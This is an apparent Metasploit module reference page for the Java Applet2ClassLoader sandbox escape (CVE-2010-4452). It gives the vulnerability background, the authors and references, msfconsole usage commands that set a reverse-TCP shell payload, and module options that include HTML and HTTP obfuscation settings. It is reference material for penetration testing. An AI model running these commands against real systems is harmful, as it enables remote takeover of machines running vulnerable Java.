Sun Java Applet2ClassLoader Remote Code Execution
This module exploits a vulnerability in the Java Runtime Environment that allows an attacker to run an applet outside of the Java Sandbox. When an applet is invoked with: 1. A "codebase" parameter that points at a trusted directory 2. A "code" parameter that is a URL that does not contain any dots the applet will run outside of the sandbox. This vulnerability affects JRE prior to version 6 update 24.
Exploit Rank
- Excellent
Exploit Authors
- Frederic Hoguin < >
- jduck < jduck [at] metasploit.com >
Vulnerability References
- CVE-2010-4452
- OSVDB-71193
- http://www.zerodayinitiative.com/advisories/ZDI-11-084/
- http://fhoguin.com/2011/03/oracle-java-unsigned-applet-applet2classloader-rem...
- http://www.oracle.com/technetwork/topics/security/javacpufeb2011-304611.html
Exploit Targets
- 0 - Generic (Java Payload) (default)
Exploit Development
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Exploit Usage Information
$ msfconsole
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msf > use exploit/windows/browser/java_codebase_trust
msf exploit(java_codebase_trust) > show payloads
msf exploit(java_codebase_trust) > set PAYLOAD generic/shell_reverse_tcp
msf exploit(java_codebase_trust) > set LHOST [MY IP ADDRESS]
msf exploit(java_codebase_trust) > exploit
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msf > use exploit/windows/browser/java_codebase_trust
msf exploit(java_codebase_trust) > show payloads
msf exploit(java_codebase_trust) > set PAYLOAD generic/shell_reverse_tcp
msf exploit(java_codebase_trust) > set LHOST [MY IP ADDRESS]
msf exploit(java_codebase_trust) > exploit
Exploit Module Options
| LIBPATH | The codebase path to use (privileged) (default: C:\Program Files\java\jre6\lib\ext) |
| SRVHOST | The local host to listen on. This must be an address on the local machine or 0.0.0.0 (default: 0.0.0.0) |
| SRVPORT | The local port to listen on. (default: 8080) |
| SSL | Negotiate SSL for incoming connections |
| SSLCert | Path to a custom SSL certificate (default is randomly generated) |
| SSLVersion | Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1) (default: SSL3) |
| URIPATH | The URI to use for this exploit (default is random) |
| ContextInformationFile | The information file that contains context information |
| DisablePayloadHandler | Disable the handler code for the selected payload |
| EnableContextEncoding | Use transient context when encoding payloads |
| ListenerComm | The specific communication channel to use for this service |
| VERBOSE | Enable detailed status messages |
| WORKSPACE | Specify the workspace for this module |
| HTML::base64 | Enable HTML obfuscation via an embeded base64 html object (IE not supported) (accepted: none, plain, single_pad, double_pad, random_space_injection) |
| HTML::javascript::escape | Enable HTML obfuscation via HTML escaping (number of iterations) |
| HTML::unicode | Enable HTTP obfuscation via unicode (accepted: none, utf-16le, utf-16be, utf-16be-marker, utf-32le, utf-32be) |
| HTTP::chunked | Enable chunking of HTTP responses via "Transfer-Encoding: chunked" |
| HTTP::compression | Enable compression of HTTP responses via content encoding (accepted: none, gzip, deflate) |
| HTTP::header_folding | Enable folding of HTTP headers |
| HTTP::junk_headers | Enable insertion of random junk HTTP headers |
| HTTP::server_name | Configures the Server header of all outgoing replies |
| TCP::max_send_size | Maximum tcp segment size. (0 = disable) |
| TCP::send_delay | Delays inserted before every send. (0 = disable) |
